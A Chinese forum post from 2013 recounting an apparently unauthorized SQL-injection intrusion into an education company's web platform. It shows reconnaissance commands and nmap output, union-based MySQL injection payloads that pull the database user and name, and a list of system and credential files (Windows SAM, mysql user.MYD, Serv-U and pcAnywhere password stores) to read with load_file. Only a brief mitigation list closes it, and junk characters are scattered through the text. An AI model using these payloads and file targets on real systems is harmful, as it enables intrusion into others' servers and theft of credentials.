找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2170|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:6 ^* J3 R2 S6 ]1 ^
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……( a" c, u. K% S5 n" K
第一步:获取需要的信息
9 S( b, N; R' r2 ]9 J由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。! K: c/ T1 ~$ t$ |, g* z+ }
注:以下为保护特用XXX代替敏感信息+ k1 [9 E  N' o, J0 D6 B* ^
顺手先PING了一下他们的域名:1 e1 b. i/ g. k0 d! F
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
+ m3 o  q/ U  X) n* G* u64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
( V/ Z. {* c$ h% S( W% |顺便了解一下TTL,学好基础知识才能一路顺风:' J+ L5 }, i) O, P1 g  q, o
TTL:(Time To Live ) 生存时间6 K/ S! |1 ^' k" |+ W0 ^& l: U6 G5 V
指定数据包被路由器丢弃之前允许通过的网段数量。
2 L0 z8 I7 ^# _- _: Y3 cTTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
( i: I' s! [  C+ j使用PING时涉及到的 ICMP 报文类型
' G/ Z2 E/ X, @) }  `) d一个为ICMP请求回显(ICMP Echo Request)
7 R% o' O9 }& f  U8 \一个为ICMP回显应答(ICMP Echo Reply)
2 Y9 \1 W' t' J4 a3 WTTL 字段值可以帮助我们识别操作系统类型。2 n" e3 ]0 [- D
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
0 H& U0 ]% z. OCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
9 H! v) g- ~; X( y微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 1286 T5 y! D7 M( `
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
% h- F. E1 b! n当然,返回的TTL值是相同的
8 D2 y) o& {* [& M% l* ]% |但有些情况下有所特殊7 J: r0 m# z/ K+ l, B
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 640 ]8 o, z/ p3 B$ s" _
FreeBSD 4.1, 4.0, 3.4;4 i4 D3 @; U9 e2 Q, ~7 `
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
1 t$ `5 i' `9 B( |6 O% {OpenBSD 2.6, 2.7,
5 G/ U1 x/ N  h# tNetBSD. ~6 K3 S* @& K) j! J
HP UX 10.20
1 U8 Q( G9 I- E- r  vICMP 回显应答的 TTL 字段值为 255' [( _4 K( y8 l! v4 i/ U% o$ ?  d% N
Windows 95/98/98SE
' g( w7 }; N4 sWindows ME
) i6 a  r0 q( }+ P) |! OICMP 回显应答的 TTL 字段值为 32) f$ ~% v3 J4 k
Windows NT4 WRKS
% V$ T. X, `- \: @/ ]8 fWindows NT4 Server- f/ h. w& `4 [0 L( ?% w* t, x# L
Windows 2000' F& ^) X7 r1 n: H* B- {
Windows XP; d" q7 S8 u$ e
ICMP 回显应答的 TTL 字段值为 1282 a, F- t% E. O8 |( b
这样,我们就可以通过这种方法来辨别操作系统) B7 O0 `1 |  u+ b; h8 ~  d
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
2 k3 O2 w8 @( h8 t# h# R4 }/ |用NMAP扫描一下:
4 |+ W! S: g0 m. G2 Ynmap -sT -O XXX.XXX.XXX.XXX* V' e5 w2 o9 |  \) e1 C) M
如果没有装WinPcap则会弹出提示:
- \7 z6 v6 C0 h. z2 r4 H3 RWARNING: Could not import all necessary WinPcap functions.  You may need to upgr
  `, \. L& R+ E4 J8 s5 v5 Hade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(
8 p" o8 w% A. t+ C" o+ D) mode — Nmap may not function completely7 J8 b4 v. w2 \7 I
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher( ]& T6 O0 G) Y. D- B
and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win7 k) @, H2 V2 T6 S
pcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an' f; Q* r8 O% {
d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v
- i7 L5 k9 a; M" R' Lersions, you may be able to take iphlpapi.dll from another system and place it i
/ G) a1 T. _& g) b, rn your system32 dir (e.g. c:\windows\system32).+ C" R" y8 B+ b5 K+ G& Y. H" c8 L
QUITTING!) F" E0 G% ]$ j& ]
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
& l9 {9 J) W2 w' n9 S. Z安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
) ?( |# U9 U6 T8 rInteresting ports on XXX.XXX.XXX.XXX:
8 y2 V, S# T* A3 F/ B0 |' wNot shown: 986 closed ports
' E7 [! @. R0 ePORT     STATE    SERVICE& m. \2 [$ |7 `1 D
21/tcp   open     ftp
2 R2 R- M1 C8 ]% |22/tcp   open     ssh9 Z" i* A& w+ Y) k$ g3 M
23/tcp   open     telnet
( J% q7 V3 P+ D80/tcp   open     http
  [0 S: s( \* w+ G! K/ [" P111/tcp  open     rpcbind* ]1 U6 i0 `, I# j1 i
135/tcp  filtered msrpc! S1 {  F" }. }2 @+ T+ Z
139/tcp  filtered netbios-ssn( A5 P8 u' a* F/ J' r+ M
445/tcp  filtered microsoft-ds1 J3 W4 w$ t' J
513/tcp  open     login( Q; W2 B& y% z5 v3 ^
514/tcp  open     shell
0 e$ K1 H: Z5 \593/tcp  filtered http-rpc-epmap2 O& J/ G, J6 z
1720/tcp filtered H.323/Q.931
4 w( o$ L. s- C  ]/ i) D3306/tcp open     mysql
: ^; [( j/ {% a# `4 `0 y# o4444/tcp filtered krb524
% H3 M2 a  e6 t# RDevice type: WAP
4 A8 Q3 D; @! H/ [+ GRunning: Linux 2.4.X
; b+ W6 q! r# ?5 f8 gOS details: DD-WRT (Linux 2.4.35s)2 }& m& }+ S) x: v) ^' S
Network Distance: 13 hops4 y' J; s4 r/ n
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:0 m9 I' E5 T- F" W/ d
login as:. U4 ^% H" }( e9 t. z
Telnet23端口也是开着的,用telnet 命令链接一下:
0 D1 [0 n* y$ H8 M/ A, I6 jtelnet XXX.XXX.XXX.XXX
3 q+ F+ D- e, \1 k0 ?) K/ {3 C. E+ D! s提示:* ]- I3 W* b  d/ a# C6 n
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
4 y- O! K1 L3 Z- [9 g+ iKernel 2.6.18-92.el5PAE on an i686, y4 A7 Y* k0 N
login:6 d0 z/ i5 {3 l6 p5 H7 G
获取HTTP头信息:
% q1 }' t+ }) H, w" q( S在本地执行如下PHP代码$ e; X7 I+ o, q& J" {4 r- D4 N
<?php
( ~2 Q  f+ V- v; e1 N5 A, w3 E$url = ‘XXX.XXX.XXX.XXX’;% R' s+ l: i* _, T3 j+ m0 M
print_r(get_headers($url));( t8 |0 e" n8 X6 G1 u5 k
print_r(get_headers($url, 1));. ?+ m7 @5 t9 a  F& Q, V
?>1 {. A% p, i1 K: a1 C
将以上代码保存为PHP文件,执行:1 M5 V8 y; ?+ B% ^9 L3 E; M  W
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
: Q# I3 R& h4 `* v% E1 r现在可以得出结论:
7 j# n" V# O: ~系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
9 t( }) ~4 l! @5 e内核版本:Kernel 2.6.18-92.el5PAE on an i686/ J+ w6 \" F; ]7 g* i& G
WEB服务器版本:nginx/0.7.61
+ s- \9 i0 u! P  V# m6 l/ e第二步,开始测试寻找漏洞
! ~' q+ w2 ~  _7 m( x1 g分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。4 j8 p4 G( C9 w/ J7 x( \
1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的4 m, N) y% f) ^% c9 c; ]
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
' |8 d- M' l# O2 f+ dhttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
3 o2 b9 B. J8 Z: V$ }" g, P* Shttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
0 Q: ~5 i+ h; r  v% {& m/ v0 F恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
' v4 P4 ~( i0 }! c; x& d3、手工注入:3 m& V3 m# @1 o: R. T! M
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。) w0 w- C2 B- E& j; G6 C7 H
3.1 猜测当前表字段数
. F* i( L3 d. }' m* G: G7 [: F2 b9 E+ \http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
$ t9 R9 ~1 P9 p' ?0 E* s) A7 I此处猜测有个简单的算法,都是有技巧的吗,呵呵4 y- K- c/ A0 @6 S5 f; k
算法简单如下:
' v; s; |1 o' t( l( {6 G! o第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;! A; p4 C. p+ |( m9 H
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;  B* x# G& }$ _8 s! ~6 u
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
" r) N) h6 |9 C以此来判断,是否过界,配合取中算法猜出字段数。
) Z9 P% w$ F: r举例:: k* c/ |- S+ o: @( |) \
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
. Z5 R  ~; s4 j# x$ e; k3 `9 A9 U: K* Ohttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
9 S# Q/ ?' S, c此时3则为我们要找的字段数。% b% X. B. {5 z0 G8 D
3.2 配合union联合查询字段在页面所位置
: A" e# i3 o& P5 M- O: i我们已经知道了字段数为3,此时则可以做如下操作:
: E+ o9 w' M$ E: V4 ohttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
+ s! l% o  r% Z" C9 ]4 v3 `; Q/ @8 Z. a. k& y9 @) K/ a, x- g
这样就可以测试到哪些字段在页面上有所显示了,如图:/ T8 i0 g  ^& M3 P5 j
- |# ?4 _- q5 N/ ^
3.3 查敏感信息5 L9 x& L# ^/ M0 s$ c
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
2 Q1 w( V# H0 j2 Q1 H; a0 s* M- Bhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()! W7 u& j* o$ ]" c' k& q# ?
3.3.1 先查数据库用户、数据库名,以备后用,如图:( ]1 B  l$ i* g
, I. H. w) G: t8 v: v; Z6 T8 {2 Q
得到数据库用户为root、数据库名为DBxx;
+ _+ ^) ?" p8 [5 q8 A3.3.2 查配置文件
4 u9 y( d# `9 F& h0 M& a, [# v查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
8 j" F7 `% ~( [查看文件有一定的条件限制:+ T. a1 d6 t4 C( V2 N/ |9 q
欲读取文件必须在服务器上! f& ?( h3 }* y3 U
必须指定文件完整的路径
" |" A% G6 I4 H( I7 L# @必须有权限读取并且文件必须完全可读
) c6 K$ y0 H% c7 x* a& |欲读取文件必须小于 max_allowed_packet
$ A4 y" ]5 w# l1 ]) IMYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。. F! Z% N) X. w$ l
常用的一些:2 v- ]0 ^) X) K! u
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
3 I+ u/ ]- L; W/ N. Z/usr/local/apache2/conf/httpd.conf
- v/ T9 L* P+ e/ v4 a: S$ i" W% @/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置' F9 D, F, X# ]
/usr/local/app/php5/lib/php.ini //PHP相关设置! _, L4 W) k: Z! g
/etc/sysconfig/iptables //从中得到防火墙规则策略$ p4 o* q+ V6 h
/etc/httpd/conf/httpd.conf // apache配置文件
$ x8 s/ v7 T2 m8 ?2 U/etc/rsyncd.conf //同步程序配置文件
9 i  f! g, T+ T! V, u2 N+ e/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP." J$ [8 p, x+ r  t
/etc/my.cnf //mysql的配置文件! q0 v: {* }0 }0 C& P2 [
/etc/redhat-release //系统版本
$ I* A  b* P5 ]8 U' k/etc/issue/ P/ a& j, \( ^, Z+ s2 g* b
/etc/issue.net: N# O1 s8 @8 o
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
5 I, ^$ u: H4 E0 e; `* }0 S6 cc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
6 o0 c, h' @4 Y4 D3 ]: u$ d+ }c:\Program Files\Serv-U\ServUDaemon.ini
0 A" }, U. }" J7 j1 _c:\windows\my.ini //MYSQL配置文件
2 i0 j- K8 T, |8 X7 r6 mc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件9 ]- |6 z: D3 V6 w/ g6 b/ i+ ]: F. y" i
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
, C# S; _4 u8 Y1 Q# A- Jc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
0 t0 ]  f2 B8 t( Hc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此1 N& a4 j$ B' G  {. v4 M& X4 n
c:\Program Files\RhinoSoft.com\ServUDaemon.exe* w( `, D  V5 ^) _9 x& w
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
, r; I- |7 E. m9 k9 \' y( y//存储了pcAnywhere的登陆密码* c+ @; y- n. ~& t* N5 {; Q0 H
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
8 T2 X! j0 z1 P8 P# J5 N这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
3 l4 m* P. f+ l$ K$ V最后:防范措施
, @  w+ s3 C5 r: o; W1、修复PHP注入漏洞;
* |; S; t2 h( Q! l8 m' c: S! G2、Mysql使用普通权限的用户;
% i& C( i. [" h% q( u/ U3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表